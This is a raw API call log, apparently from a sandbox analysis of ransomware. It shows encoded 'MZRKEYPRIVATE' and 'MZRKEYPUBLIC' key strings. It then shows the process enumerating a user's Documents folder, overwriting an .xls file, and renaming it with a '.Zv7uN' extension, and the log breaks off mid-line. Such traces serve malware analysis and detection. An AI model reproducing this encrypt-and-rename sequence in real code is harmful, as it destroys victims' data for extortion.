lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0089.011] GetCurrentThreadId () returned 0xa30 [0089.011] GetCurrentThreadId () returned 0xa30 [0089.011] GetCurrentThreadId () returned 0xa30 [0089.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0089.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0089.013] GetCurrentThreadId () returned 0xa30 [0089.013] GetCurrentThreadId () returned 0xa30 [0089.013] GetCurrentThreadId () returned 0xa30 [0089.013] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\4eQFtgvX0bY.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1l10dno\\4eqftgvx0by.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0089.013] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0089.013] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0089.013] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xd8ea [0089.013] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0089.014] ReadFile (in: hFile=0x104, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0xd8ea, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0xd8ea, lpOverlapped=0x0) returned 1 [0089.016] CloseHandle (hObject=0x104) returned 1 [0089.017] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\4eQFtgvX0bY.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1l10dno\\4eqftgvx0by.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0089.021] WriteFile (in: hFile=0x104, lpBuffer=0x1f16ed0*, nNumberOfBytesToWrite=0xd8ea, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f16ed0*, lpNumberOfBytesWritten=0x18f6ac*=0xd8ea, lpOverlapped=0x0) returned 1 [0089.024] CloseHandle (hObject=0x104) returned 1 [0089.025] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\4eQFtgvX0bY.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1l10dno\\4eqftgvx0by.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\4eQFtgvX0bY.xls.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1l10dno\\4eqftgvx0by.xls.zv7un")) returned 1 [0089.025] GetCurrentThreadId () returned 0xa30 [0089.026] GetCurrentThreadId () returned 0xa30 [0089.026] GetCurrentThreadId () returned 0xa30 [0089.026] GetCurrentThreadId () returned 0xa30 [0089.026] GetCurrentThreadId () returned 0xa30 [0089.026] GetCurrentThreadId () returned 0xa30 [0089.026] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303699e0, ftCreationTime.dwHighDateTime=0x1d5e6ed, ftLastAccessTime.dwLowDateTime=0x8bc94650, ftLastAccessTime.dwHighDateTime=0x1d5e345, ftLastWriteTime.dwLowDateTime=0x8bc94650, ftLastWriteTime.dwHighDateTime=0x1d5e345, nFileSizeHigh=0x0, nFileSizeLow=0xd4cd, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="cc7VJrUJ4rqn A41Oh O.doc", cAlternateFileName="CC7VJR~1.DOC")) returned 1 [0089.026] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0089.026] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0089.026] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\cc7VJrUJ4rqn A41Oh O.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1l10dno\\cc7vjruj4rqn a41oh o.doc"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303699e0, ftCreationTime.dwHighDateTime=0x1d5e6ed, ftLastAccessTime.dwLowDateTime=0x8bc94650, ftLastAccessTime.dwHighDateTime=0x1d5e345, ftLastWriteTime.dwLowDateTime=0x8bc94650, ftLastWriteTime.dwHighDateTime=0x1d5e345, nFileSizeHigh=0x0, nFileSizeLow=0xd4cd)) returned 1 [0089.026] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\cc7VJrUJ4rqn A41Oh O.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1l10dno\\cc7vjruj4rqn a41oh o.doc")) returned 0x20 [0089.026] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\cc7VJrUJ4rqn A41Oh O.doc", dwFileAttributes=0x80) returned 1 [0089.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0089.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0089.031] GetCurrentThreadId () returned 